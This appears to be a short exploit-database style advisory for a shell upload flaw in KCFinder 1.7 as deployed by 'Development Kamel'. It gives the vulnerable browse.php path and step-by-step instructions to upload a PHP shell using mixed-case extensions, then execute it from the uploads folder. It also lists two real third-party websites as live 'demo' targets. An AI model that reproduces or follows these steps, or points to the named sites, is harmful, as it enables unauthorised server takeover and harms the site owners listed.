Development Kamel KCFinder version 1.7 suffers from a remote shell upload vulnerability.
bf6153a4c62e633652255251746f04d7#######################################################
#
# [+] Exploit Title : Development Kamel - KCFinder Shell Upload Vulnerability
# [+] Date : 25/03/2021
# [+] Exploit Author : RAYAN ALi
# [+] Home : http://kamel.tech/
# [+] Discovered By : RAYAN
# [+] Vendor Homepage : http://kamel.tech/
#
#######################################################
#
# [+] Exploit:
#
# [+] http://[localhost]/resources/admin/Editor/kcfinder/browse.php?type=files
#
#
#######################################################
#
# [+] Proof:
#
# [~] STEP 1 > Go to target link
# http://localhost/resources/admin/Editor/kcfinder/browse.php?type=files
#
#
# [~] STEP 2 > Upload your shell as [ shell.PhP7 & shell.PhP5 ]
#
# [~] STEP 3 > Shell execution path
# http://[localhost]/[path]/resources/uploads/files/shell.PhP7
# [~] The End
#
#######################################################
#
Demo Site:
http://waqftaiba.sa/resources/admin/Editor/kcfinder/browse.php?type=files
https://qepsco.com/resources/admin/Editor/kcfinder/browse.php?type=files
#######################################################
#
# [+] Discovered By : RAYAN ALI
# [+] https://twitter.com/i0i8x
# [+] https://www.instagram.com/vgz_/
# [+] Home : Null
#
#######################################################